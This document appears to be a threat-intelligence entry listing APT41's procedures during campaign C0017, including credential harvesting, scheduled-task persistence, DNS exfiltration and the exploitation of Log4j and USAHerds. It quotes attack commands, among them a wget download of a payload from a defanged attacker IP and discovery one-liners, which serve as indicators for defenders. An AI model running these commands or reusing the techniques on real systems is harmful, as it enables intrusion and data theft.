Procedure examples

During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.

During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.

During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.

During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.

During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.

During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.

During C0017, APT41 used `whoami` to gather information from victim machines.

During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.

During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.

During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.

During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.

During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.

During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.

During C0017, APT41 deployed JScript web shells on compromised systems.

During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.

During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.

During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.

During C0017, APT41 used the Cloudflare services for C2 communications.

During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.

During C0017, APT41 downloaded malicious payloads onto compromised systems.

During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.

During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.

During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.

During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.

During C0017, APT41 hex-encoded PII data prior to exfiltration.

During C0017, APT41 used Cloudflare services for data exfiltration.

During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.

For C0017, APT41 obtained publicly available tools such as YSoSerial.NET, ConfuserEx, and BadPotato.

During C0017, APT41 issued `ping -n 1 ((cmd /c dir c:\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.